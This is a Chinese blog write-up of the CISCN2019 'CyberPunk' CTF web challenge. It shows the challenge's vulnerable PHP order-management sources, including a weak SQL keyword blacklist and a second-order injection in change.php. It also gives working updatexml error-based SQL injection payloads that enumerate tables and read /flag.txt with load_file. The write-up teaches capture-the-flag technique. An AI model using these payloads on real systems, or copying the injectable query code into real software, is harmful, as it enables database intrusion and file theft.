首页 > 其他分享 >[CISCN2019 华北赛区 Day1 Web5]CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

时间:2024-07-07 14:31:33浏览次数:16  
标签:name Day1 phone user CyberPunk Web5 msg POST fetch

进入题目
image

点击左下角
发现不同文件

image

image

image

查看index.php检查发现
image

file参数
猜测文件包含用php为协议读取源码
image

  • require_once "config.php";

  • if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))

  • {

  • $msg = '';
    
  • $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    
  • $user_name = $_POST["user_name"];
    
  • $phone = $_POST["phone"];
    
  • if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
    
  •     $msg = 'no sql inject!';
    
  • }else{
    
  •     $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    
  •     $fetch = $db->query($sql);
    
  • }
    
  • if (isset($fetch) && $fetch->num_rows>0){
    
  •     $row = $fetch->fetch_assoc();
    
  •     if(!$row) {
    
  •         echo 'error';
    
  •         print_r($db->error);
    
  •         exit;
    
  •     }
    
  •     $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    
  • } else {
    
  •     $msg = "未找到订单!";
    
  • }
    
  • }else {

  • $msg = "信息不全";
    
  • }

  • ?>

  • <head>
  • <title>搜索</title>
  • </head>
  • <body>
  • <div class="container">
    
  •     <div class="row">
    
  •         <div class="col-md-8 col-md-offset-2 centered">
    
  •             <p style="margin:35px 0;"><br></p>
    
  •             <h1>订单查询</h1>
    
  •             <form method="post">
    
  •                 <p>
    
  •                 <h3>姓名:</h3>
    
  •                 <input type="text" class="subscribe-input" name="user_name">
    
  •                 <h3>电话:</h3>
    
  •                 <input type="text" class="subscribe-input" name="phone">
    
  •                 </p>
    
  •                 <p>
    
  •                 <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
    
  •                 </p>
    
  •             </form>
    
  •             <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
    
  •         </div>
    
  •     </div>
    
  • </div>
    
  • <div class="container">
    
  •     <div class="row">
    
  •         <p style="margin:35px 0;"><br></p>
    
  •         <h2 class="mb">订单管理</h2>
    
  •         <a href="./index.php">
    
  •             <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
    
  •         </a>
    
  •         <a href="./change.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
    
  •         </a> 
    
  •         <a href="./delete.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
    
  •         </a>    
    
  •     </div>
    
  • </div>
    
  • </body>
  • 同理可得到其他文件的源码

delete.php

  • require_once "config.php";

  • if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))

  • {

  • $msg = '';
    
  • $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    
  • $user_name = $_POST["user_name"];
    
  • $phone = $_POST["phone"];
    
  • if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
    
  •     $msg = 'no sql inject!';
    
  • }else{
    
  •     $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    
  •     $fetch = $db->query($sql);
    
  • }
    
  • if (isset($fetch) && $fetch->num_rows>0){
    
  •     $row = $fetch->fetch_assoc();
    
  •     $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
    
  •     if(!$result) {
    
  •         echo 'error';
    
  •         print_r($db->error);
    
  •         exit;
    
  •     }
    
  •     $msg = "订单删除成功";
    
  • } else {
    
  •     $msg = "未找到订单!";
    
  • }
    
  • }else {

  • $msg = "信息不全";
    
  • }

  • ?>

  • <head>
  • <title>删除订单</title>
  • </head>
  • <body>
  • <div class="container">
    
  •     <div class="row">
    
  •         <div class="col-md-8 col-md-offset-2 centered">
    
  •             <p style="margin:35px 0;"><br></p>
    
  •             <h1>删除订单</h1>
    
  •             <form method="post">
    
  •                 <p>
    
  •                 <h3>姓名:</h3>
    
  •                 <input type="text" class="subscribe-input" name="user_name">
    
  •                 <h3>电话:</h3>
    
  •                 <input type="text" class="subscribe-input" name="phone">
    
  •                 </p>
    
  •                 <p>
    
  •                 <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
    
  •                 </p>
    
  •             </form>
    
  •             <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
    
  •         </div>
    
  •     </div>
    
  • </div>
    
  • <div class="container">
    
  •     <div class="row">
    
  •         <h2 class="mb">订单管理</h2>
    
  •         <a href="./index.php">
    
  •             <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
    
  •         </a>
    
  •         <a href="./search.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
    
  •         </a>
    
  •         <a href="./change.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
    
  •         </a>
    
  •     </div>
    
  • </div>
    
  • </body>

change.php

  • require_once "config.php";

  • if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))

  • {

  • $msg = '';
    
  • $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    
  • $user_name = $_POST["user_name"];
    
  • $address = addslashes($_POST["address"]);
    
  • $phone = $_POST["phone"];
    
  • if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    
  •     $msg = 'no sql inject!';
    
  • }else{
    
  •     $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    
  •     $fetch = $db->query($sql);
    
  • }
    
  • if (isset($fetch) && $fetch->num_rows>0){
    
  •     $row = $fetch->fetch_assoc();
    
  •     $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    
  •     $result = $db->query($sql);
    
  •     if(!$result) {
    
  •         echo 'error';
    
  •         print_r($db->error);
    
  •         exit;
    
  •     }
    
  •     $msg = "订单修改成功";
    
  • } else {
    
  •     $msg = "未找到订单!";
    
  • }
    
  • }else {

  • $msg = "信息不全";
    
  • }

  • ?>

  • <head>
  • <title>修改收货地址</title>
  • </head>
  • <body>
  • <div class="container">
    
  •     <div class="row">
    
  •         <div class="col-md-8 col-md-offset-2 centered">
    
  •             <p style="margin:35px 0;"><br></p>
    
  •             <h1>修改收货地址</h1>
    
  •             <form method="post">
    
  •                 <p>
    
  •                 <h3>姓名:</h3>
    
  •                 <input type="text" class="subscribe-input" name="user_name">
    
  •                 <h3>电话:</h3>
    
  •                 <input type="text" class="subscribe-input" name="phone">
    
  •                 <h3>地址:</h3>
    
  •                 <input type="text" class="subscribe-input" name="address">
    
  •                 </p>
    
  •                 <p>
    
  •                 <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
    
  •                 </p>
    
  •             </form>
    
  •             <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
    
  •         </div>
    
  •     </div>
    
  • </div>
    
  • <div class="container">
    
  •     <div class="row">
    
  •         <p style="margin:35px 0;"><br></p>
    
  •         <h2 class="mb">订单管理</h2>
    
  •         <a href="./index.php">
    
  •             <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
    
  •         </a>
    
  •         <a href="./search.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
    
  •         </a>
    
  •         <a href="./delete.php">
    
  •             <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
    
  •         </a>
    
  •     </div>
    
  • </div>
    
  • </body>

在change.php中发现可利用二次注入,它调用了旧地址
image

于是sql注入,报错注入
1' and updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='ctfusers'),25,30)),0x7e),1)#
image

通过查表等操做发现数据库中没有flag,猜测在文件/flag.txt中,函数返回最长值有限分两次读取
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),28,50)),0x7e),1)#

image

image

标签:name,Day1,phone,user,CyberPunk,Web5,msg,POST,fetch
From: https://www.cnblogs.com/v3n0m-cccccc/p/18288470

相关文章

  • IAP 2023 Day1
    HTMLHTML是Hypertextmarkuplanguage(超文本标记语言),你可以理解为网页的结构。<!DOCTYPEhtml><html><head><title>ProfilePage</title><linkrel="stylesheet"href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta......
  • 从零学习的JAVAday1~day7
    作为一个刚要迈入大二的预备程序员,已经学习过了c语言和c++的部分知识,在暑假期间满怀期待的开始Java的学习,希望一个暑假可以对Java的了解加深一些。学习Java首先要学习windows电脑的cmd命令:同时点击键盘上面的win+r键输入cmd即可进入默认的cmd面版,然后我们就可以输入一些命令:比......
  • 代码随想录day15 平衡二叉树 | 二叉树的所有路径 | 左叶子之和 | 完全二叉树的节点个
    平衡二叉树平衡二叉树解题思路二叉树节点的深度:指从根节点到该节点的最长简单路径边的条数。二叉树节点的高度:指从该节点到叶子节点的最长简单路径边的条数。这道题由于需要求节点的高度差来进行判断,因此我们需要用后序遍历,先左右,后中间。推荐使用递归把每个节点的高度算出来......
  • rust学习 day1
    边读rust程序设计这本书边写代码。今天主要和cargo(换源,包提速),以及actix-web这个库(版本不兼容)鏖战。清华的源也太慢了,换了中科大的才搞定。书里的actix-web版本太落后了,编译通过不了,换了actix-web4.0然后参考官方指南:https://actix.rs/docs/getting-started/,才编译成功。usea......
  • Day1| 704. 二分查找 &27. 移除元素
    704.二分查找题目链接:https://leetcode.cn/problems/binary-search/description/思路:切记二分查找要基于排序好的数组或者数据,否则二分查找必不能使用!!!!!!!!!双指针写最简单,一个头指针从0开始,一个尾指针从数组长度-1开始,中间指针是头+尾/2,每次比较头尾中间指针的值......
  • C++从淬体到元婴day10之模板
    2024/6/30模板概念:在C++中,模板是一种泛型编程的工具,它允许程序员编写与类型无关的代码。作用:通过使用模板,你可以编写一种可以处理多种数据类型的函数或类,而无需为每种数据类型编写单独的实现。分类:函数模板和类模板函数模板建立一个通用函数,其函数返回值类型和形参类......
  • 7.1 lxl DS Day1 题解
    7.1lxlDSDay1题解P7124[Ynoi2008]stcm性质1:考虑轻儿子的子树和为\(O(nlogn)\)。证明:考虑每个结点会对多少个轻祖先做贡献,也就是重链个数,考虑每个节点到根节点重链条数为\(O(nlogn)\),所以子树和为\(O(nlogn)\)。所以对于一条重链,如果我们已经插入了链头的补集,......
  • P6754 [BalticOI 2013 Day1] Palindrome-Free Numbers
    数据范围一眼数位dp。关键条件为如果一个数字串的一个长度大于 11 的子串也为回文串的话,那么我们也定义这个数字串为回文串。仔细思考发现一旦两个连续的数相同(偶回文)或两个数隔一个数相同(奇回文)都是回文,所以要保证连续三个数不相同,记录前两位即可。注意事项:1.前导零不应为0......
  • Oracle day15
    /*createtablef0307(idnumber,productnamevarchar2(100),parentidnumber);insertintof0307values(1,'汽车',null);insertintof0307values(2,'车身',1);insertintof0307values(3,'发动机',1);insertintof0307values(4......
  • Oracle day14
    /*createtablef0810(idnumber,timesvarchar2(50));insertintof0810values(1,'2019-12-2511:01');insertintof0810values(2,'2019-12-2511:03');insertintof0810values(3,'2019-12-2511:05');insertintof0810values(4,......